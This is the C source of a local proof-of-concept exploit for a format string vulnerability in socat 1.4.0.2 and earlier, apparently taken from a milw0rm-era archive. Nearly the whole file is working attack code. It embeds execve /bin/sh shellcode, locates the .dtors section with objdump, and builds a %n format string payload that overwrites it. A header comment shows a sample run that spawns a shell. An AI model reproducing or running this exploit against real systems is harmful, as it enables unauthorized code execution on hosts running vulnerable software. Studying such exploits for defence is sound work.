477bcbdcc0
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111 lines
3.1 KiB
C
Executable file
111 lines
3.1 KiB
C
Executable file
/* socat_exp.c
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Socat Format String Vulnerability
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socat <= 1.4.0.2 local exploit (Proof of Concept)
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Tested in Slackware 9.0 / 9.1 / 10.0
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by CoKi <coki@nosystem.com.ar>
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No System Group - http://www.nosystem.com.ar
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coki@servidor:~$ make socat_exp
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coki@servidor:~$ ./socat_exp
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socat <= 1.4.0.2 local exploit (Proof of Concept)
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by CoKi <coki@nosystem.com.ar>
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shellcode address = 0xbfffffb9
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.dtors address = 0x080740c4
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2004/10/19 09:49:46 socat[26197] E unknown syslog facility
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"ÄÅÆÇ%142u%30$n%70u%31$n%256u%32$n%192u%33$n"
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sh-2.05b$
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This exploit does not give a root shell :(
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*/
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#include <stdio.h>
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#include <string.h>
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#define PATH "/usr/local/bin/socat"
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#define OBJDUMP "/usr/bin/objdump"
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#define GREP "/usr/bin/grep"
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unsigned char shellcode[]= /* aleph1 shellcode.45b */
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
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"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
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"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e"
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"\x2f\x73\x68";
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int check(unsigned long addr);
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int main(int argc, char *argv[]) {
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int i, dtorsaddr;
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unsigned int bal1, bal2, bal3, bal4;
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char temp[512];
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char buffer[1024];
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int cn1, cn2, cn3, cn4;
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FILE *f;
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char *env[3] = {shellcode, NULL};
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int shaddr = 0xbffffffa - strlen(shellcode) - strlen(PATH);
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sprintf(temp, "%s -s -j .dtors %s | %s ffffffff", OBJDUMP, PATH, GREP);
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f = popen(temp, "r");
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if(fscanf(f, " %08x", &dtorsaddr) != 1) {
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pclose(f);
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printf("Cannot find .dtors address\n");
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exit(1);
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}
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pclose(f);
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dtorsaddr = dtorsaddr + 4;
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printf("\n socat <= 1.4.0.2 local exploit (Proof of Concept)\n");
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printf(" by CoKi <coki@nosystem.com.ar>\n\n");
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printf(" shellcode address = %.8p\n", shaddr);
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printf(" .dtors address = %.8p\n\n", dtorsaddr);
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bzero(temp, sizeof(temp));
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bzero(buffer, sizeof(buffer));
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strcat(buffer, "-ly");
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for(i = 0; i < 4; i++) {
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bzero(temp, sizeof(temp));
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sprintf(temp, "%s", &dtorsaddr);
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strncat(buffer, temp, 4);
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dtorsaddr++;
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}
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bal1 = (shaddr & 0xff000000) >> 24;
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bal2 = (shaddr & 0x00ff0000) >> 16;
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bal3 = (shaddr & 0x0000ff00) >> 8;
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bal4 = (shaddr & 0x000000ff);
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cn1 = bal4 - 27 - 16;
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cn1 = check(cn1);
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cn2 = bal3 - bal4;
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cn2 = check(cn2);
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cn3 = bal2 - bal3;
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cn3 = check(cn3);
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cn4 = bal1 - bal2;
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cn4 = check(cn4);
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sprintf(temp, "%%%du%%30\$n%%%du%%31\$n%%%du%%32\$n%%%du%%33\$n", cn1, cn2, cn3, cn4);
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strcat(buffer, temp);
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execle(PATH, "socat", buffer, NULL, env);
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}
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int check(unsigned long addr) {
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char tmp[128];
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snprintf(tmp, sizeof(tmp), "%d", addr);
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if(atoi(tmp) < 1)
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addr = addr + 256;
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return addr;
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}
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// milw0rm.com [2004-10-23]
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